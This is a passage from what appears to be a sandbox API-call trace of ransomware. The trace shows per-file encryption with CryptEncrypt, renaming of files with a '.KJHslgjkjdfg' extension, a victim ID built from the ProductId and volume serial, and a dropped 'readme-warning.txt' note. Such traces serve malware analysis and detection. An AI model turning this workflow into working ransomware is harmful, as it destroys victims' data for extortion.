pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.594] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.594] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.594] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.594] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.594] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.595] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.595] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.595] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.595] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.595] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.595] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x239, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x239, lpOverlapped=0x0) returned 1 [0172.595] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x240, dwBufLen=0x240 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x240) returned 1 [0172.595] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.595] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x240, lpOverlapped=0x0) returned 1 [0172.595] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.595] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.595] SetEndOfFile (hFile=0x114) returned 1 [0172.598] GetProcessHeap () returned 0x2ef0000 [0172.598] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.598] GetProcessHeap () returned 0x2ef0000 [0172.598] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.598] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf.kjhslgjkjdfg")) returned 1 [0172.607] CloseHandle (hObject=0x114) returned 1 [0172.607] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf75, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0172.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.608] GetProcessHeap () returned 0x2ef0000 [0172.608] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.608] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.608] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.608] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xb, lpOverlapped=0x0) returned 1 [0172.610] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.610] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.610] GetProcessHeap () returned 0x2ef0000 [0172.610] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.610] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.610] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.610] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.611] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.611] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.611] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.611] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.611] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.611] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.611] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.611] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.611] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xf75, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xf75, lpOverlapped=0x0) returned 1 [0172.611] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xf80, dwBufLen=0xf80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xf80) returned 1 [0172.612] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.612] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xf80, lpOverlapped=0x0) returned 1 [0172.612] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.612] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.612] SetEndOfFile (hFile=0x114) returned 1 [0172.614] GetProcessHeap () returned 0x2ef0000 [0172.615] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.615] GetProcessHeap () returned 0x2ef0000 [0172.615] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.615] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.kjhslgjkjdfg")) returned 1 [0172.616] CloseHandle (hObject=0x114) returned 1 [0172.616] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0172.616] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.619] GetProcessHeap () returned 0x2ef0000 [0172.619] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.620] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.620] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.620] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x3, lpOverlapped=0x0) returned 1 [0172.625] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.625] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.625] GetProcessHeap () returned 0x2ef0000 [0172.625] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.625] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.625] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.625] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.626] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.626] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.626] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.626] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.626] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.626] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.626] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.626] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.626] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x81fd, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x81fd, lpOverlapped=0x0) returned 1 [0172.627] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x8200, dwBufLen=0x8200 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x8200) returned 1 [0172.628] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.628] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8200, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x8200, lpOverlapped=0x0) returned 1 [0172.628] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.628] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x82d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.628] SetEndOfFile (hFile=0x114) returned 1 [0172.631] GetProcessHeap () returned 0x2ef0000 [0172.631] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.631] GetProcessHeap () returned 0x2ef0000 [0172.631] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.631] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0172.639] CloseHandle (hObject=0x114) returned 1 [0172.640] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0172.640] GetProcessHeap () returned 0x2ef0000 [0172.640] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.640] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.640] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0172.640] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.640] GetProcessHeap () returned 0x2ef0000 [0172.640] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0172.640] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.640] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0172.640] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.640] GetProcessHeap () returned 0x2ef0000 [0172.641] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f47728 [0172.641] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.641] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f47728, pdwDataLen=0x4dfee20 | out: pbData=0x2f47728, pdwDataLen=0x4dfee20) returned 1 [0172.641] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.641] GetProcessHeap () returned 0x2ef0000 [0172.641] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0172.641] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.641] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0172.641] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.641] GetProcessHeap () returned 0x2ef0000 [0172.641] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0172.641] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.641] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0172.641] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.641] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x114) returned 0x0 [0172.641] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0172.641] RegCloseKey (hKey=0x114) returned 0x0 [0172.641] GetProcessHeap () returned 0x2ef0000 [0172.642] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0172.642] GetProcessHeap () returned 0x2ef0000 [0172.642] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0172.642] GetProcessHeap () returned 0x2ef0000 [0172.642] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0172.642] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.642] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0172.642] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.642] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0172.642] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0172.642] GetProcessHeap () returned 0x2ef0000 [0172.643] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0172.643] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0172.643] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0172.643] GetProcessHeap () returned 0x2ef0000 [0172.643] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f406c8 [0172.643] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\readme-warning.txt") returned 83 [0172.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.644] WriteFile (in: hFile=0x114, lpBuffer=0x2f406c8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f406c8*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0172.646] CloseHandle (hObject=0x114) returned 1 [0172.646] GetProcessHeap () returned 0x2ef0000 [0172.646] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0172.646] GetProcessHeap () returned 0x2ef0000 [0172.646] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f406c8 | out: hHeap=0x2ef0000) returned 1 [0172.646] GetProcessHeap () returned 0x2ef0000 [0172.646] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0172.646] GetProcessHeap () returned 0x2ef0000 [0172.646] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.646] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0172.647] GetProcessHeap () returned 0x2ef0000 [0172.647] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0172.647] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ECHO", cAlternateFileName="")) returned 1 [0172.647] GetProcessHeap () returned 0x2ef0000 [0172.647] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8a) returned 0x2f425d0 [0172.647] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, 